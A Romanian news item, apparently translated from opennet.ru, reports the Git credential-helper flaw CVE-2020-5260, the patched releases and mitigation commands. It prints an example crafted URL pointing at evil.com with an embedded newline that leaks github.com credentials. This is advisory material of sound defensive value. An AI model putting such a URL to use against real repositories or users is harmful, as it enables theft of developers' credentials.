Vulnerabilitatea de scurgere a acreditărilor Git

Publicat versiuni corective ale sistemului de control al sursei distribuite Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 și 2.17.4, în care a eliminat vulnerabilitate (CVE-2020-5260) în handler "acreditare.ajutor", ceea ce face ca acreditările să fie trimise la gazda greșită atunci când un client git accesează un depozit folosind o adresă URL special formatată care conține un caracter newline. Vulnerabilitatea poate fi folosită pentru a aranja ca acreditările de la o altă gazdă să fie trimise la un server controlat de atacator.

Când specificați o adresă URL de genul „https://evil.com?%0ahost=github.com/”, handlerul de acreditări atunci când se conectează la gazda evil.com va trece parametrii de autentificare specificați pentru github.com. Problema apare atunci când se efectuează operațiuni precum „git clone”, inclusiv procesarea URL-urilor pentru submodule (de exemplu, „git submodule update” va procesa automat adresele URL specificate în fișierul .gitmodules din depozit). Vulnerabilitatea este cea mai periculoasă în situațiile în care un dezvoltator clonează un depozit fără a vedea adresa URL, de exemplu, atunci când lucrează cu submodule sau în sisteme care efectuează acțiuni automate, de exemplu, în scripturile de construire a pachetelor.

Pentru a bloca vulnerabilități în noile versiuni interzis trecerea unui caracter newline în orice valori transmise prin protocolul de schimb de acreditări. Pentru distribuții, puteți urmări lansarea actualizărilor pachetelor pe pagini Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arc, FreeBSD.

Ca o soluție pentru a bloca problema recomandat Nu utilizați credential.helper atunci când accesați depozitele publice și nu utilizați „git clone” în modul „--recurse-submodules” cu arhivele nebifate. Pentru a dezactiva complet handlerul credential.helper, ceea ce face conservare și preluarea parolelor de la cache, protejat bolti sau un fișier cu parole, puteți folosi comenzile:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Sursa: opennet.ru

Adauga un comentariu